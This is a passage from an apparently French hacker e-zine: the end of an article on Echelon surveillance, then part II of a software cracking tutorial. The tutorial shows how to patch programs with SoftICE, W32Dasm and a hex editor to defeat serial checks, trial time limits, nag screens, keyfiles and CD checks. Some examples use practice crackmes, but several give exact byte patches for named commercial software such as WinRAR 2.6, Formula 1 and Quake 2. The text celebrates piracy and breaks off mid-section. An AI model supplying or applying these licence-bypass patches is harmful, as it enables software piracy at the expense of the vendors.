amricains. C'est le cas du japonais NEC, dont la NSA intercepte les messages lors de la vente d'un satellite l'Indonsie, ou de celui de constructeurs automobiles japonais en discussions, Genve, avec Ford, General Motors et Chrysler. C'est enfin le CSE canadien qui coute les Corens du Sud qui Ottawa veut vendre des racteurs Candu en 1991. On touche l ce qui, dans cette collecte d'informations tous azimuts, agace en priorit les partenaires europens de Washington et de Londres. A savoir le coup port par Echelon et, singulirement par les deux pays anglo-saxons les plus engags dans ce systme, la solidarit entre allis. Nul ne remet en question la ncessit de lutter dans l'urgence, au moyen de tous procds, contre le crime organis, le terrorisme, le trafic de drogue, le blanchiment de l'argent ou la prolifration des armes de destruction massive, auxquels se livrent des Etats indlicats ou des mafias ayant pignon sur rue. Mais Echelon va beaucoup plus loin. Au Parlement europen, les Quinze sont mal l'aise face cette oligarchie du renseignement et, pour le moment, ils n'ont pas trouv de parade sauf demander sans espoir d'intgrer le Club. D'autant qu'Echelon essaime et foisonne dans le mme temps. Ses retraits, voire ses dmissionnaires, sont de plus en plus sollicits pour mettre leur expertise au service d'intrts particuliers. Trs privs. Des mouvements politiques, des entreprises, les milieux d'affaires, des banques ou des cabinets de consultants, pour s'en tenir ces quelques exemples, voient dans ces anciens la manne qui leur fournira les taupes de demain. Voila pour cette partie sur le systme chelon je ferais encore une autre partie car il y a beaucoup de chose a dire. ThanKs to all Hack The Best Fuck The Rest MAdchat et a Hacktif <-<< TorKal >>-> ^^^^^^^^^^^^^^^^^ # # ### # ## ### ## #### ##### ### ##### ##### #### ###### ##### ###### ###### ##### ####### #### ################### #### ################################# ########################## ################## ######################### ############## ## ## いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい MILLENIUM CRACKING TUTORIAL (PART II) いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい [ NdRedoxx : le gnial tutorial de tHE ANALYST continue dans ce noumbeurre touh de APOCALYPSE, et il se cloturera dans la prochaine issue. Je vous rappelle galement que son ancien pseudo est ACiD BuRN et qu'il a crit ce turial sous ce nom l, donc ne vous tonnez pas si vous le trouvez crit. Ce deuxime "tome" va du chapitre 8 au chapitre 12, et, comme le prcdent, il est clair et bien expliqu. Allez, let's go!!! ] Sommaire :::::::::: :::::::::: 8) Transformer un Programme en son propre keygen 9) Time Limits (limitation de 30 jours et autres merdes !!) 10) Nag et autres Splash screen (diverses mthodes...) 11) Keyfile 12) CD Check (les BPX, et techniques diverses..) Transformer un programme en son propre keygen :::::::::::::::::::::::::::::::::::::::::::::::: :::::::::::::::::::::::::::::::::::::::::::::::: - Afficher le bon serial la place du msg d'erreur Introduction: Il faut faire un keygen, les keygens c'est marrant mais on va apprendre autre chose cette fois. On ne va pas coder un keygen (qui d'ailleurs est trs simple faire) mais forcer le crackme afficher le bon serial la place du message: "try again , Blablabla.." utils ncessaires: - Soft-ice (it r0x) - diteur hexadcimal Let's kick some ass =) Bon, dj on lance ce con de crackme, et on entre son nom: ACiD BuRN et un serial 2 francs: 0800 Ensuite dans Soft-ice (ctrl+d) on tape: Bpx hmemcpy On click sur Register et on arrive dans Soft-ice.. F12 pour sortir dans dlls et ds qu'on est dans le crackme on commence tracer. On arrive assez vite une routine qui contrle le type de nom entr (minuscules, majuscules, espaces, chiffres ...) mais il y a d'abord un check sur la longueur du nom: 025F:004010A3 83F804 CMP EAX,04 <-- compare la taille du nom 4 025F:004010A6 7304 JAE 004010AC <-- ok si suprieur ou gal 4 025F:004010A8 C9 LEAVE 025F:004010A9 C21000 RET 0010 Apres a, il y a le contrle des caractres : 025F:004010AC BA00000000 MOV EDX,00000000 025F:004010B1 8A8200314000 MOV AL,[EDX+00403100] 025F:004010B7 3C00 CMP AL,00 025F:004010B9 7426 JZ 004010E1 025F:004010BB 3C20 CMP AL,20 025F:004010BD 7408 JZ 004010C7 025F:004010BF 3C41 CMP AL,41 025F:004010C1 7C07 JL 004010CA 025F:004010C3 3C5A CMP AL,5A 025F:004010C5 7F03 JG 004010CA 025F:004010C7 42 INC EDX 025F:004010C8 EBE7 JMP 004010B1 025F:004010CA 6A00 PUSH 00 025F:004010CC 687D304000 PUSH 0040307D 025F:004010D1 684D304000 PUSH 0040304D 025F:004010D6 6A00 PUSH 00 025F:004010D8 E8BD000000 CALL USER32!MessageBoxA Cette merde check si notre nom a des minuscules, majuscules, espaces ... Si c'est pas ok, a jump 4010CA, et un message box nous dit de n'enter que des majuscules et des espaces... Merci, mais on avait compris ;) Donc, on sort de Soft-ice, on met: ACID BURN comme nom, et 0800 tjs pour le serial et on y retourne. On trace et on tombe sur la comparaison finale: 025F:0040112D 68F6304000 PUSH 004030F6 <- d 4030f6 = fake serial 025F:00401132 6800314000 PUSH 00403100 <- d 403100 = bon serial 025F:00401137 E840000000 CALL KERNEL32!lstrcmp 025F:0040113C 83F800 CMP EAX,00 025F:0040113F 7517 JNZ 00401158 025F:00401141 6A00 PUSH 00 025F:00401143 68D3304000 PUSH 004030D3 << d 4030D3 = Good (titre de la msg box) 025F:00401148 6889304000 PUSH 00403089 << d 403089 = Bon message qd tu as le serial 025F:0040114D 6A00 PUSH 00 025F:0040114F E846000000 CALL USER32!MessageBoxA 025F:00401154 C9 LEAVE 025F:00401155 C21000 RET 0010 025F:00401158 6A00 PUSH 00 025F:0040115A 68EA304000 PUSH 004030EA << d 4030EA = Bad (titre de la msgbox) 025F:0040115F 68DD304000 PUSH 004030DD << d 4030DD = bad boy ;p pas le bon pass 025F:00401164 6A00 PUSH 00 025F:00401166 E82F000000 CALL USER32!MessageBoxA En rsum, on voit une comparaison bon serial / mauvais serial excute par l'API lstrcmp, qui compare des strings. On voit un CMP EAX,00 : si la comparaison est ok le serial est bon, donc EAX = 0 et on affiche le bon messagebox :) Sinon, a saute la mauvaise box !! Ok donc pour nous, ici : 025F:0040112D 68F6304000 PUSH 004030F6 <- d 4030f6 = fake serial 025F:00401132 6800314000 PUSH 00403100 <- d 403100 = bon serial d 4030f6 nous donne: 0800 d 403100 nous donne: XZP]P[LKW Le bon serial ok, mais c'est pas a qu'on veut :) On veut forcer le prog montrer le bon serial la place du message d'erreur :) Pour cela, on voit que juste avant la msg box Bad serial il y a 2 push : le caption du titre de la title bar = push 4030EA le texte du message du msgbox = push 4030DD Il push ces merdes, et ensuite il affiche le message la con ! Donc pour le faire afficher le bon serial tu prends l'adresse du push 'bon serial' et tu la copies la place du push 'message comme quoi tu as foir' !! 025F:0040115A 68EA304000 PUSH 004030EA 025F:0040115F 68DD304000 PUSH 004030DD 025F:00401164 6A00 PUSH 00 025F:00401166 E82F000000 CALL USER32!MessageBoxA cela devient: 025F:0040115A 68EA304000 PUSH 004030EA 025F:0040115F 6800314000 PUSH 00403100 <-- push bon serial 025F:00401164 6A00 PUSH 00 025F:00401166 E82F000000 CALL USER32!MessageBoxA On a maintenant plus qu' modifier physiquement notre crackme, et le bon pass apparatra la place de l'erreur :) et voil notre super keygen pour branleurs :) Hehe, c'est rapide, efficace, et on se fatigue pas :P on cherche donc dans l'exe: 68EA30400068DD304000 on remplace dans l'exe par: 68EA3040006800314000 Tu saves le fichier, et tu lances, mets un serial en majuscules et goodie :)) Le good serial apparat, Facile .... Remarques on a toujours le titre : erreur code dans la msg box, rien ne vous empche de le changer en: Keygen ;) *********************************************************** **** Reprogrammer la routine de Contrle du serial **** *********************************************************** Toujours sur le mme crackme !! On va donc recoder le check du serial dans Soft-ice pour s'occuper, a va prendre 10 secs, mais bon ;) C'est juste pour montrer que on peut faire bcp de choses en fait.... notre routine de base: 025F:0040112D 68F6304000 PUSH 004030F6 <- d 4030f6 = fake serial 025F:00401132 6800314000 PUSH 00403100 <- d 403100 = bon serial 025F:00401137 E840000000 CALL KERNEL32!lstrcmp 025F:0040113C 83F800 CMP EAX,00 025F:0040113F 7517 JNZ 00401158 025F:00401141 6A00 PUSH 00 025F:00401143 68D3304000 PUSH 004030D3 [ 4030D3 = Good (titre de la msg box) 025F:00401148 6889304000 PUSH 00403089 [ 403089 = Bon message qd tu as le serial 025F:0040114D 6A00 PUSH 00 025F:0040114F E846000000 CALL USER32!MessageBoxA 025F:00401154 C9 LEAVE 025F:00401155 C21000 RET 0010 025F:00401158 6A00 PUSH 00 025F:0040115A 68EA304000 PUSH 004030EA [ 4030EA = Bad (titre de la msgbox) 025F:0040115F 68DD304000 PUSH 004030DD [ 4030DD = bad boy ;p pas le bon pass 025F:00401164 6A00 PUSH 00 025F:00401166 E82F000000 CALL USER32!MessageBoxA Comparaison grce l'API lstrcmp. On va transcrire a en : 025F:0040112D A1F6304000 MOV EAX,[004030F6] 025F:00401132 8B1500314000 MOV EDX,[00403100] 025F:00401138 3BC2 CMP EAX,EDX 025F:0040113A 7405 JZ 00401141 025F:0040113C EB1A JMP 00401158 025F:0040113E 90 NOP 025F:0040113F 90 NOP 025F:00401140 90 NOP 025F:00401141 6A00 PUSH 00 025F:00401143 68D3304000 PUSH 004030D3 025F:00401148 6889304000 PUSH 00403089 025F:0040114D 6A00 PUSH 00 025F:0040114F E846000000 CALL USER32!MessageBoxA 025F:00401154 C9 LEAVE 025F:00401155 C21000 RET 0010 025F:00401158 6A00 PUSH 00 025F:0040115A 68EA304000 PUSH 004030EA 025F:0040115F 68DD304000 PUSH 004030DD 025F:00401164 6A00 PUSH 00 025F:00401166 E82F000000 CALL USER32!MessageBoxA Ceci fait exactement la mme chose, mais n'utilise pas d'API pour comparer. On met en EAX: l'adresse du serial entr, et en EDX le bon serial. On les compare via : CMP EAX, EDX Ensuite un saut conditionnel la con et un Jump... Les nop n'taient pas utiles, mais a fais plus clean ;) Voil, le prog contrle si le serial est valide d'une autre manire, a sert rien, c'tait juste pour montrer ce qu'on peut faire avec de l'imagination, hehe On peut bien s'amuser donc :] Time Limits (limitation de 30 jours et autres merdes !!) :::::::::::::::::::::::::::::::::::::::::::::::::::::::::: :::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Comme vous l'avez srement remarqu, il existe des programmes qui ne sont pas enregistrables car il n'y pas moyen de s'enregistrer !! Ils sont en gnrale limits 30 jours!! C'est ce qu'on appelle: Time limit protection !!! Comment cracker a ? Il y a plusieurs faons !! Nous allons voir a de suite !! Mthode avec W32Dasm: Vous avez un programme nomme X, qui aprs 30 jours ne marche plus :( Mais en revanche, il nous envoie une messagebox disant: "La priode d'valuation est termine..." ou "Trial version expire..." Bref ce genre de conneries !! Alors si vous avez a, vous lancez W32Dasm et dsassemblez le fichier cracker. Vous cherchez cette phrase dans les String Data References et une fois que vous avez trouv, double-clickez dessus afin d'aller la place de cette phrase dans W32Dasm !! Et maintenant ?? Ben on tudie le code aux alentours !! Ca ne vas pas tre bien dur !! Gnralement vous devriez trouver au dessus du message d'erreur des sauts conditionnels de type JL, JLE, JG, JGE ..... Par exemple: CMP DWORD PTR EAX, 1E <-- 1Eh = 30 en dcimal (30 jours!) JLE 00405840 <-- jump au programme si c'est gal ou infrieur 30 jours Ici on voit qu'il compare le nombre de jours couls avec 30! Tant que c'est infrieur ou gal 30 jours le programme marchera !! Mais une fois dpass les 30 jours !! Ca marche plus :( Donc pour cracker a on force le programme sauter quoi qu'il arrive en changeant le JLE en JMP !! et le programme sautera inconditionellement comme si de rien n'tais! Il croira tjs que l'on est encore dans la priode des 30 jours heheh !! Avec Soft-ice: Tout d'abord regardons les API utilises dans les time limites!! : (eq: win32API.hlp) Je ne traduirais pas, pour ne pas dtriorer les infos donnes. ******************************************************************************************** * GetFileTime The GetFileTime function retrieves the date and time that a file was created, last accessed, and last modified. BOOL GetFileTime( HANDLE hFile, // identifies the file LPFILETIME lpCreationTime, // address of creation time LPFILETIME lpLastAccessTime, // address of last access time LPFILETIME lpLastWriteTime // address of last write time ); Returns If the function succeeds, the return value is TRUE. If the function fails, the return value is FALSE. To get extended error information, call GetLastError ******************************************************************************************** * GetLocalTime GetLocalTime function retrieves the current local date and time. VOID GetLocalTime( LPSYSTEMTIME lpSystemTime // address of system time structure ); Returns This function does not return a value. ******************************************************************************************** * GetSystemTime The GetSystemTime function retrieves the current system date and time. The system time is expressed in Coordinated Universal Time (UTC). VOID GetSystemTime( LPSYSTEMTIME lpSystemTime // address of system time structure ); Returns This function does not return a value. ******************************************************************************************** * SystemTimeToFileTime The SystemTimeToFileTime function converts a system time to a file time. BOOL SystemTimeToFileTime( CONST SYSTEMTIME * lpst, // address of system time to convert LPFILETIME lpft // address of buffer for converted file time ); Returns If the function succeeds, the return value is TRUE. If the function fails, the return value is FALSE. To get extended error information, call GetLastError. ******************************************************************************************** Voil !! Donc a c'tait les API les plus couramment utilises dans les protections par time limites! Cependant, l'API la plus souvent utilise est : Getlocaltime Donc vous mettez un Bpx dessus et vous lancez le programme ! Soft-ice break ! Pressez F12 pour arriver au bon endroit dans le programme et commencer tracer !! Si vous voyez un saut de type: JL, JLE, JGE, JG vous savez ce qu'il vous reste faire !! Je ne vais pas crire des tonnes encore sur cette protection aussi stupide que simple cracker !! Vous trouvez un exemple de Time limite mais dans la partie Visual Basic!! Comment cracker un programme VB avec W32Dasm original !! ;-) l33t hehe Sinon, j'espre que vous voyez comment cracker a maintenant ...... Nag et autres Splash screen (diverses mthodes) ::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::::::::::::::::::::::::::::::::::: C'est la partie qui me fait le plus chier crire je pense !! Pourquoi ? Car j'aime pas les nags screen !! Je trouve a ennuyeux ;) Mais on doit y passer alors commenons ds maintenant !! Qu'est-ce qu'un Nag screen ? Un nag screen, c'est une fentre qui vient vous dire que vous n'tes pas enregistr et qu'il faut payer vite fait pour qu'elle disparaisse :) Bref, c'est vraiment ennuyant, on peut tomber sur un NAG avec un bouton dsactiv qui se ractive aprs qq secondes par exemple !! Bref casse-couilles souhait ;) Avant de commencer avec les trucs un peu plus compliqus avec Soft-ice et tout, on va commencer par Simple !! Cracker un nag screen avec seulement un diteur hexadcimal. Quoi ? Vous vous demandez quelle connerie je suis en train de raconter lol !! L'exemple que vais vous montrer est comment cracker le NAG screen de WinRAR 2.6 quand la limite dans le temps expire !! Vous pourrez essayer cette technique sur ICQ99 afin de kicker les 8 secs au dmarrage!! Bref assez bavard !! Let's start : ********************************* * Cracker le nag de WinRAR 2.6b * ********************************* Tu lances WinRAR, aprs avoir mis la date en avance, style : 2002. L tu vois un nag screen avec 5 boutons de merdes !! Il y en a 1, avec Close... Tu clicks dessus et WinRAR marche normalement. Donc, on va muler la pression sur ce bouton. Piner Le nag :) ~~~~~~~~~~~~~~ Donc, voici une mthode qui marche souvent, pour muler la pression d'un bouton... Vous avez juste besoin d'un diteur hexadcimal (moi j'utilise hex workshop). Donc, vous lancez WinRAR encore et regardez le caption du bouton : Close puis ouvrez WinRAR avec un diteur hexa et recherchez en hexa: 43006C006F0073006500 43006C006F0073006500 = C l o s e donc vous recherchez la valeur hexa de chaque Caractres, plus 00 entre chaque valeur. Vous devez arrivez ici : 4600 0E00 0100 FFFF 8000 4300 6C00 6F00 F.........C.l.o. <== C l o s e ici !!! heh 7300 6500 0000 0000 0000 0150 0000 0000 s.e........P.... 9500 4300 4600 0E00 0900 FFFF 8000 2600 ..C.F.........&. 4800 6500 6C00 7000 0000 0000 0700 0050 H.e.l.p........P 0000 0000 0400 0400 8B00 4D00 FFFF FFFF ..........M..... 8000 0000 0000 0000 0000 0250 0000 0000 ...........P.... 0900 1000 8200 3700 FFFF FFFF 8200 5000 ......7.......P. 6C00 6500 6100 7300 6500 2000 6E00 6F00 l.e.a.s.e. .n.o. Donc, voil vous tes la bonne place, now pour muler, vous avez juste regardez le FFFF82 ou FFFFFFFF82 le plus proche et changer le 82 en 7E !!! donc : 4600 0E00 0100 FFFF 8000 4300 6C00 6F00 F.........C.l.o. 7300 6500 0000 0000 0000 0150 0000 0000 s.e........P.... 9500 4300 4600 0E00 0900 FFFF 8000 2600 ..C.F.........&. 4800 6500 6C00 7000 0000 0000 0700 0050 H.e.l.p........P 0000 0000 0400 0400 8B00 4D00 FFFF FFFF ..........M..... 8000 0000 0000 0000 0000 0250 0000 0000 ...........P.... 0900 1000 8200 3700 FFFF FFFF 8200 5000 ......7.......P. <-- ici tu vois FFFFFFFF82 !!! 6C00 6500 6100 7300 6500 2000 6E00 6F00 l.e.a.s.e. .n.o. COOL !! L tu es la bonne place, donc tu remplaces le 82 par un 7E et hop le nag a mouru ;) Donc : 0900 1000 8200 3700 FFFF FFFF 8200 5000 ......7.......P. devient : 0900 1000 8200 3700 FFFF FFFF 7E00 5000 ......7.....~.P. Tu saves ton fichier WinRAR, le relance et plus de nag du tout :) Si tu remets la date en arrire, toujours pas de nag, donc Voil c'est termin. Conseil: Ils auraient d fermer le prog une fois le temps dpass! Ca aurait forc le cracker jouer un peu plus et cracker le time limite ! Pour le reste des protections, c'est tres simple ! Avec ce que vous avez d lire avant d'arriver ici, vous ne devriez pas avoir de problmes ! On va passer un autre type de Nag Screen !! Les messagebox. C'est trs chiant, mais quand on voit a !! On est quand mme content car a se vire en 10 secondes ;) Les messageboxes se reconnaissent grce leurs icnes dj ! Les icnes que l'on voit dans Windows avec comme signe: le point d'exclamation, la croix blanche sur rond rouge.... et un message l'accompagnant !! Comment cracker a ? Bien je vais montrer 2 faons!! - Avec W32Dasm (cracker like a wanker): Vous lancez votre programme et vous voyez le message qui nous dit: "Version Shareware! please Register" ou un truc chiant du style !! Pour virer a, vous ouvrez W32Dasm et dsassemblez le fichier du programme! Vous faites un tour dans les String Data References la recherche de cette phrase! Vous allez la trouver avec 98 % de chances !! Donc vous double-cliquez sur cette phrase et recherchez au dessus d'un saut conditionnel qui vous fait atterrir sur le nag ou au contraire le sauter !! ET vous le nopez ou forcez a sauter en fonction de ce que vous trouvez !! ex: JE 00406280 ................. Possible String Data Reference BLABLA to: Please Register Now !... XXXX:00406280 PUSH 00 XXXX:00406282 PUSH 004062E0 ;"Register!" XXXX:00406287 PUSH 00406360 ;"Please Register Now!!.." XXXX:0040628C PUSH 00 XXXX:0040628E CALL [USER32!MessageBoxA] .................... Ici, si ce "je" nous amne tout les coups sur le message d'erreur, on le NOP et il ne sautera plus jamais ! Ceci est un exemple mais a ressemble a en gros. C'est pas trs clean, et a fait branleur mais bon :) Plus a va vite et plus vous tes content je prsume .... - Avec Soft-ice: Avec Soft-ice on va tout simplement poser un BPX sur MessageBoxA! Donc Ctrl+D et tapez votre BPX! Lancez le programme et Soft-ice break! Pressez F12 et vous retournez sous Windows !! L vous clickez sur le bouton OK du nag et vous vous retrouvez sous Soft-ice encore une fois !! Juste au dessus de votre emplacement actuel vous devez voir le Call qui appelle le messageBox !! On peut cracker comme un bourin en nopant ce call, mais a fait pas trs pro, le mieux c'est de foutre un RET juste aprs tre entr dans le CALL.. Petit exemple thorique: XXXX:00406280 PUSH 00 XXXX:00406282 PUSH 004062E0 ;"Register!" XXXX:00406287 PUSH 00406360 ;"Please Register Now!!.." XXXX:0040628C PUSH 00 XXXX:0040628E CALL [USER32!MessageBoxA] <--- ici on fait F8 Aprs avoir fait le F8 on voit un truc comme a : 025F:00401510 FF253C324000 JMP [USER32!MessageBoxA] <-- le F8 nous mne ici 025F:00401516 FF2540324000 JMP [USER32!MoveWindow] 025F:0040151C FF2544324000 JMP [USER32!DialogBoxParamA] ........................ Aprs avoir fait le F8, on est donc sur un JMP qui va appeler le MessageboxA . Donc sur cette ligne vous faites: A {enter} RET {Enter} {echap} Le programme arrive et prends le RET et sort de cette routine en 2 temps 3 mouvements! et hop il continue sa route sans jamais afficher aucune connerie ! Ensuite vous faites la modif dans l'excutable lui-mme et on en parle plus :] Je vais expliquer Rapidement une mthode qui utilise un BPX qui est trs rarement utilis pour cracker les Nags, mais plutt dans les names / serials ! Mais c'est un plaisir de l'utiliser dans les programmes crits en Delphi par exemple ! Le BPX est : hmemcpy Mthode thorique: Vous mettez ce BPX et vous lancez le programme en Delphi cracker! Soft-ice break! Vous pressez F5 le nombre de fois qu'il faut pour obtenir le NAG screen et vous comptez le nombre de F5 qu'il vous a fallut bien sr!! On va dire: 14 fois F5 pour voir le nag !! Alors on relance le programme et on fera F5 le nombre de fois que vous avez trouv moins 1 !! (14 - 1 = 13 ici) On presse 13 fois F5 ici !! Ensuite on presse F12 pour revenir dans l'excutable et quitter ces dlls la con :=) Aprs avoir fait a, vous tracez comme un dingue avec F10 et vous allez arriver sur une srie de CALL , MOV , CALL , MOV .... Ca se voit tout de suite, il y a quasiment que a !! Et l vous mettez un BPX l'emplacement o cette routine commence et vous tracez avec F10! Le NAG screen va apparatre en passant sur un call normalement !! Vous reprez quel CALL c'est et puis vous lui mettez un bpx une fois avoir dsactiv tout les autres! Vous breakez dessus! Premire faon bourin: on nope le call comme un goret ;) On a de la chance a marche !! KeWl !! Alors on peut entrer dans le Call avec F8 et mettre un ret sur le Push ebp qui doit s'y trouver!! (c'est pas tjs un Push ebp ;p) On presse F5 et si le nag est parti et que a ne crash pas, c'tait le bon endroit !! Si tout a a amen un mchant crash :-/ , il vous faut aprs avoir entr ce call chercher un autre call qui affiche le nag l'intrieur !! et le noper !! Si le nag est avec timer, on doit trouver un CALL GETTICKCOUNT pas loin de celui-ci non plus !! Cette API est souvent utilise pour a ;) On peut aussi utiliser L'API: Destroywindow qui nous amne dans Soft-ice aprs avoir tu le nag ! L on presse F12 et on regarde les calls plus haut et on retrouve souvent les calls et les movs de tout l'heure qui sont si charmants, lol. Bref, cette technique, je ne l'ai jamais vu dans aucun cours en franais ou bien US, mais elle permet de cracker un nag Delphi en 2 mins sans se faire chier tracer comme un dingue jusqu' trouver LE CALL !! Sinon, voici une liste d'API utilises dans le cracking des nags screen: pour tout ce qui est messagebox: MessageBox MessageBoxA MessageBoxExA MessageBeep ou encore ceci pour afficher du texte! SENDMESSAGE WSPRINTF et pour les gnrations de fentre: createwindow createwindowexa showwindow Voil, je pense que vous avez dj de quoi cracker pas mal de nags screen la con! La plus part du temps c'est : Posez le BPX, tracez, trouvez le CALL, killez le ! et on ne reparle plus du NAG !! Keyfile ::::::::: ::::::::: Qu'est ce qu'un keyfile ? C'est un fichier licence que l'on place dans le rpertoire courant du programme pour l'enregistrer ! On a donc rien entrer comme un name / serial! On n'utilise pas les mmes API mais surtout l'API CreateFileA. Je vais montrer un exemple: ******************************** * termial Cilla's CrackMe 1.0 * ******************************** Je vous prviens de suite, ce crackme contient une protection par Key file, qui est trs simple, mais que je considre bien pour le sujet d'un cours gnral ! Je ne vais pas vous faire un cours sur un keyfile qui est trop long et qui va vous perturber !! Le crackme a besoin d'un fichier keyfile, ici il s'appelle TC1.key . Je cre un fichier keyfile la con contentant le texte: "ACiD BuRN 4 EVER Ph34rs " Si on dite en hexa on obtient ceci: 00000000: 41 43 69 44 20 42 75 52 4E 20 34 20 45 56 45 52 00000010: 52 20 50 68 33 34 72 73 20 20 20 20 20 20 20 20 Lancez le crackme et on voit qu'il y a un bouton pour checker le keyfile !! Un open box apparat si vous clickez dessus et vous dit de choisir un fichier, ok on va le faire l'ami :) Tout d'abord mettez un BPX sur createfilea et quittez Soft-ice avec F5 ! Ensuite il vous suffit de choisir le fichier et Soft-ice revient de plus belle ! Pressez F11 et vous devriez voir le code suivant: :0040461F CALL KERNEL32!CreateFileA :00404624 CMP EAX,-01 ; Est-ce que le fichier existe ? :00404627 JZ 00404652 ; si il n'existe pas a saute :00404629 MOV [EBX],EAX :0040462B POP EDI :0040462C POP ESI :0040462D POP EBX :0040462E RET ; tout est ok! on sort d'ici! On a notre fichier, donc le test est ok ! On continue tracer avec F10 on passe le RET et on trouver un code du genre: :00429D93 CALL 00402618 :00429D98 JMP 00429DB4 :00429D9A LEA EDX,[EBP-01] :00429D9D LEA EAX,[EBP-0150] :00429DA3 CALL 004044E8 :00429DA8 CALL 00402618 :00429DAD XOR EAX,EAX ; EAX = 0 :00429DAF MOV AL,[EBP-01] ; Prends le caractre du keyfile (dans ebp-1) :00429DB2 ADD EBX,EAX ; additionne la valeur EBX :00429DB4 LEA EAX,[EBP-0150] :00429DBA CALL 00404494 :00429DBF CALL 00402618 :00429DC4 TEST AL,AL ; On a fait toutes les lettes ? :00429DC6 JZ 00429D9A ; non ? alors on saute sinon on continue :00429DC8 LEA EAX,[EBP-0150] :00429DCE CALL 00404458 :00429DD3 CALL 00402618 :00429DD8 CMP EBX,000020A9 ; La somme des caractres = 20A9h ? :00429DDE JNZ 00429DEE ; Si c'est gal alors le keyfile est valide La somme de mon fichier fait: 794h Ce n'est pas gal 20A9h donc le keyfile n'est pas valide!! On va rectifier a !! 20A9h - 794h = 1915h Il nous faut donc ajouter 1915h notre keyfile! On va ajouter des FFh (255) Je n'ai plus le keyfile sous la main, mais je pense que vous avez compris comment a marche ! Alors je vous laisse vous amuser !! Sinon, le keyfile le plus petit possible est : 00000000: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 00000010: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 00000020: C9 Il n'y a aucun texte dans cette keyfile, on retrouve juste la somme ncessaire: 20A9h Alors amusez vous faire votre propre keyfile et si vous n'avez pas compris comment faire, essayez de complter mon keyfile :) Voil, la partie keyfile fut brve ! Il existe un crackme un peu plus compliqu mais trs intressant essayer: Cruehead Crackme 3 ! Il est toujours simple, mais plus fin cracker ;) Vous devez l'essayer, et pourquoi par faire un keymaker ! Il existe d'autres crackme utilisant les keyfiles! Alors vous pouvez vous entraner si vous avez du mal! Note: N'essayer pas de cracker CuteFTP juste aprs avoir lu ce cours, si vous n'avez jamais crack de keyfiles de votre vie! C'est un conseil .... CD Check (les BPX, et techniques diverses...) ::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::::::::::::::::::::::::::::::::: Alors l, c'est la partie cracking jeux!! Qu'est qu'un CD check ? Un CD check est la dtection du CD dans le lecteur pour viter aux petits pirates en herbes de copier les jeux sur leur disque durs pour y jouer sans CD :) lol!! Il y a bcp de jeux protgs par CD check mais bon, les 3/4 on se pisse de rire!! La protection actuelle qui calme les "petits" crackers est CDilla, cette protection est en effet d'un niveau lev par rapport aux protections que l'on trouve dans: Quake 2, Formula 1, King Pin et bcp d'autres !! Mais, je vais vous montrer comment cracker les 2 avant-dernires protections de CDilla !! N'ayant aucun jeux originaux (hehe, no way ) je n'ai pas pu tester la toute dernire version encore, qui est soi-disant plus dure;) Je vais aussi vous parler des protections commerciales ! Mais je ne vous dcrirais que CD Lock et CDilla ! Il existe de nombreux cours sur securom, et autres protections CD commerciales ! J'cris pas un roman lol Alors nous allons commencer par les protections TRES TRES simples !! Les CD check de bases: *** Avec W32Dasm: ***** Comme exemple on va prendre Formula 1: Il contrle si il y a le CD du jeu et si ce n'est pas le cas il refuse de se lancer. Aprs avoir install le jeu on le lance (aprs avoir retir le CD !!!) Et un message apparat "Formula 1 CD NOT Found". Il n'en faut pas plus pour le cracker. Prenez W32Dasm et dsassemblez le fichier excutable, en l'occurrence F1win.exe. Cherchez dans String Data References (Menu "Refs") de W32Dasm et recherchez la phrase. On trouve a quelques lignes avant le message d'erreur : 00409AC3 FF5234 call [edx+34] 00409AC6 85C0 test eax, eax 00409AC8 7D50 jge 00409B1A L il y a un test qui ne nous envoie pas au jeu si il ne trouve pas le CD, donc on place des NOP et il n'y a plus aucun Test et le jeu se lance quoi qu'il arrive. Cela donne : 00409AC3 FF5234 call [edx+34] 00409AC6 90 nop 00409AC7 90 nop 00409AC8 7D50 jge 00409B1A Donc pour le cracker il faut rechercher avec un diteur hexadcimal la chane FF 52 34 85 C0 7D 50 et la remplacer par FF 52 34 90 90 7D 50 c'est tout. 2me exemple : Quake 2 v3.14 Aprs avoir install le jeu ou aprs avoir mis le patch 3.14, quand on lance Quake 2 sans le CD dans le lecteur, il marche jusqu'au menu puis lorsqu'on lance une nouvelle partie boum! Le message "You must have the Quake 2 CD in ..." On dsassembles le fichier avec W32Dasm puis on cherche dans String Data References le message "You must have the Quake 2 CD in ..." Bcp de jeux utilisent cette connerie de message !! (ils sont rares de nos jours cependant!) Vous marquez "Please insert the XXX CD" (vous cherchez cette phrase dans String Data References.) Aprs avoir trouv cette phrase dans String Data References, clicker 2 fois dessus, cela vous amnera au dsassembler la ligne du message. Remontez un peu avec la barre de dfilement, vous trouverez juste au dessus: E82BFFFFFF call 0042F520 803800 cmp byte ptr [eax], 00 750F jne 0042F609 L on voit un petit "750F" qui reprsente le "Jne" (celui dont je vous parlais au dbut), il reprsente un saut si ce n'est pas gal. Donc si il n'y a pas le CD dans le lecteur, ce n'est pas "gal au CD" donc le programme saute au message d'erreur et le jeu ne marche pas! On va noper ce con de saut !! Le code devient: E82BFFFFFF call 0042F520 803800 cmp byte ptr [eax], 00 90 nop 90 nop Et c'est partie !! Les CD checks de ce type!!: That's bullshits ! Donc pour cracker dfinitivement le jeu on cherche la chane Hexadcimale suivante avec un diteur Hexa du style HexWorkshop, Hedit. La chane : FF FF 80 38 00 75 0F et la remplacer par FF FF 80 38 00 90 90. Fermez W32Dasm et lancez Quake 2. Bingo le jeu marche c'est cool! Vous allez me dire !! Ca marche que sur les vieux jeux a ;PP Alors comme autre Exemple: KingPin version Fr *************** *** KingPin *** *************** Cracking part: Qd vous lancez le jeu avec un CD grav, on voit les super (lol) messages: You must have the KingPin CD in the drive to play... Hahah, j'adore ce genre de conneries! Lancez W32Dasm et dsassemblez le jeu! Allez dans les References et cherchez la phrase du jeux! Double click dessus et on ne voit rien de super! donc on re-double click dessus ! Et cette fois-ci!! On trouve qq chose de bien : * Referenced by a CALL at Address: 